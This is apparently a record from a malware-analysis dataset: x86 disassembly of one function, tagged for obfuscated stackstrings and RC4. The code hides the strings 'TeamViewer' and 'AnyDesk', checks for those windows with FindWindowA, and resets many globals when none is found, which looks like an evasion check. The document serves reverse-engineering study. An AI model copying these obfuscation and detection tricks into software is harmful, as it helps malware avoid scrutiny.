Function at 0x10028af0
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [0x100bd8c0], 0
push esi
je 0x10029054
mov ecx, 0x4c
xor edx, edx
nop dword [eax + eax]
mov al, byte [edx + 0x100a8ef8]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x20], al
and ecx, 0x800000ff
jns 0x10028b2d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xb
jl 0x10028b10
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
lea eax, [ebp - 0x20]
push eax
push 0
mov byte [ebp - 0x15], 0
call esi
test eax, eax
jne 0x10028b90
mov byte [ebp - 0xa], al
lea eax, [ebp - 0x14]
push eax
push 0
mov dword [ebp - 0x14], 0x6d616554
mov dword [ebp - 0x10], 0x77656956
mov word [ebp - 0xc], 0x7265
call esi
test eax, eax
jne 0x10028b90
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x44796e41
push eax
push 0
mov dword [ebp - 4], 0x6b7365
call esi
test eax, eax
jne 0x10028b90
mov dword [0x100c3168], eax
pop esi
mov esp, ebp
pop ebp
ret
mov dword [0x100c275c], 0
mov dword [0x100c3fe4], 0
mov dword [0x100c2428], 0
mov dword [0x100c1fc4], 0
mov dword [0x100c32ec], 0
mov dword [0x100c344c], 0
mov dword [0x100c1f48], 0
mov dword [0x100c2430], 0
mov dword [0x100c174c], 0
mov dword [0x100bdc6c], 0
mov dword [0x100c271c], 0
mov dword [0x100c3868], 0
mov dword [0x100c1f98], 0
mov dword [0x100c244c], 0
mov dword [0x100bdb04], 0
mov dword [0x100bdbc8], 0
mov dword [0x100c2590], 0
mov dword [0x100bd790], 0
mov dword [0x100bdb50], 0
mov dword [0x100c243c], 0
mov dword [0x100c17ac], 0
mov dword [0x100c6d34], 0
mov dword [0x100bdca0], 0
mov dword [0x100bd71c], 0
mov dword [0x100c742c], 0
mov dword [0x100c1344], 0
mov dword [0x100c3fc4], 0
mov dword [0x100c309c], 0
mov dword [0x100c3164], 0
mov dword [0x100bdc78], 0
mov dword [0x100bd720], 0
mov dword [0x100c23f4], 0
mov dword [0x100c3128], 0
mov dword [0x100c7424], 0
mov dword [0x100c1350], 0
mov dword [0x100c6d30], 0
mov dword [0x100c1754], 0
mov dword [0x100bdb30], 0
mov dword [0x100bdafc], 0
mov dword [0x100bdc7c], 0
mov dword [0x100c3098], 0
mov dword [0x100bdbf0], 0
mov dword [0x100c71f0], 0
mov dword [0x100c3fe0], 0
mov dword [0x100c3458], 0
mov dword [0x100bd718], 0
mov dword [0x100c25d8], 0
mov dword [0x100c26cc], 0
mov dword [0x100c32c4], 0
mov dword [0x100bd78c], 0
mov dword [0x100c2620], 0
mov dword [0x100c386c], 0
mov dword [0x100c7434], 0
mov dword [0x100c311c], 0
mov dword [0x100c23fc], 0
mov dword [0x100bd30c], 0
mov dword [0x100c6e04], 0
mov dword [0x100c2438], 0
mov dword [0x100c2714], 0
mov dword [0x100c3114], 0
mov dword [0x100bd7a8], 0
mov dword [0x100c32cc], 0
mov dword [0x100bd7b0], 0
mov dword [0x100c2440], 0
mov dword [0x100bdb18], 0
mov dword [0x100c135c], 0
mov dword [0x100c6cf8], 0
mov dword [0x100c1f7c], 0
mov dword [0x100c17a8], 0
mov dword [0x100bdca4], 0
mov dword [0x100c3304], 0
mov dword [0x100c3bcc], 0
mov dword [0x100c1750], 0
mov dword [0x100bd51c], 0
mov dword [0x100bdb10], 0
mov dword [0x100bdb0c], 0
mov dword [0x100c32f0], 0
mov dword [0x100bd79c], 0
mov dword [0x100c1fb4], 0
mov dword [0x100c6d6c], 0
mov dword [0x100c1f94], 0
xorps xmm0, xmm0
mov dword [0x100c3850], 0
mov eax, 1
mov dword [0x100c1948], 0
mov dword [0x100c2c74], 0
mov dword [0x100c2640], 0
mov dword [0x100c32b4], 0
mov dword [0x100c23e4], 0
mov dword [0x100c1320], 0
mov dword [0x100c2c94], 0
mov dword [0x100bd8b8], 0
mov dword [0x100c1340], 0
mov dword [0x100bd8cc], 0
mov dword [0x100bd7b4], 0
mov dword [0x100c7450], 0
mov dword [0x100c2580], 0
mov dword [0x100c2594], 0
mov dword [0x100c23f0], 0
mov dword [0x100c3fdc], 0
mov dword [0x100c1f50], 0
mov dword [0x100c178c], 0
mov dword [0x100c32e4], 0
mov dword [0x100c6d78], 0
mov dword [0x100c2400], 0
mov dword [0x100bdb44], 0
mov dword [0x100c2c98], 0
mov dword [0x100c2578], 0
mov dword [0x100c1328], 0
mov dword [0x100c32fc], 0
mov dword [0x100c2658], 0
mov dword [0x100c1790], 0
mov dword [0x100bd8dc], 0
mov dword [0x100c2650], 0
mov dword [0x100bd794], 0
mov dword [0x100ba018], 0
mov dword [0x100c3144], 0
mov dword [0x100c6d74], 0
movups xmmword [0x100c3888], xmm0
mov dword [0x100c38b0], 0
movups xmmword [0x100c3898], xmm0
mov dword [0x100c6d28], 1
movq qword [0x100c38a8], xmm0
mov dword [0x100c3168], eax
pop esi
mov esp, ebp
pop ebp
ret
mov dword [0x100c3168], 0
pop esi
mov esp, ebp
pop ebp
ret